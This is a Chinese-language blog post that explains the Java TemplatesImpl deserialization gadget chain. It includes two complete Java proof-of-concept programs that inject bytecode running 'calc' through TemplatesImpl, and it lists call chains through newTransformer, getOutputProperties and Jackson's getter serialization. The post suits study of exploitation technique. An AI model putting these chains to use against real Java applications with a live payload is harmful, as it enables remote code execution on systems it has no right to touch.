TemplatesImpl利用链详解

Last updated on September 27, 2024 am

介绍

TemplatesImep利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码,然后初始化执行恶意代码。

TemplatesImep利用链其实就是CC3的一些扩展。

链子1

1
TemplateImplTest::getTransletInstance->TemplateImplTest::defineTransletClasses->TransletClassLoader::defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplateImplTest {

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); //创建ClassPool
CtClass cc = pool.makeClass("TemplateImplTest"); //创建一个新类
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //添加一个类路径
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //将生成的类设置为 AbstractTranslet 的子类。
CtConstructor ctConstructor=cc.makeClassInitializer(); //创建类初始化器
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); //插入代码
cc.writeFile(); //写入文件

byte[] code=Files.readAllBytes(Paths.get("D:\\CTFtmp\\demo\\TemplateImplTest.class"));//从文件读取
byte[][] codes={code};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_name","fru1ts");
Method defineTransletClasses=templates.getClass().getDeclaredMethod("getTransletInstance");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
public static void setFieldValue(Object obj,String field,Object arg ) throws Exception{
Field f= obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,arg);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplateImplTest {

public static void main(String[] args) throws Exception {
//不写文件直接给变量
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc=pool.makeClass("a");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor ctConstructor=cc.makeClassInitializer();
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=cc.toBytecode();
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_name","fru1ts");
Method defineTransletClasses=templates.getClass().getDeclaredMethod("getTransletInstance");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
public static void setFieldValue(Object obj,String field,Object arg ) throws Exception{
Field f= obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,arg);
}
}

链子2

链子1延长而已

1
TemplatesImpl::newTransformer->TemplatesImpl::getTransletInstance->TemplatesImpl::defineTransletClasses->TransletClassLoader::defineClass

链子3

链子2再延长而已

1
TemplatesImpl::getOutputProperties->TemplatesImpl::newTransformer->TemplatesImpl::getTransletInstance->TemplatesImpl::defineTransletClasses->TransletClassLoader::defineClass

不过getOutputProperties是public可以直接调用,不需要反射。

TempatesImpl触发任意getter

这里的getter是指以get开头的方法

1
ObjectMapper::writeValueAsString->ObjectMapper::_writeValueAndClose->DefaultSerializerProvider::serializeValue->DefaultSerializerProvider::_serialize->BeanSerializer::serialize->BeanSerializer::serializeFields->BeanPropertyWriter::serializeAsField

BeanSerializer::serializeFields会遍历所有getter,每个get都会调用BeanPropertyWriter::serializeAsField通过 this._accessorMethod.invoke(bean, (Object[])null);调用getter。

参考

TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/08/29/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%E8%AF%A6%E8%A7%A3/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!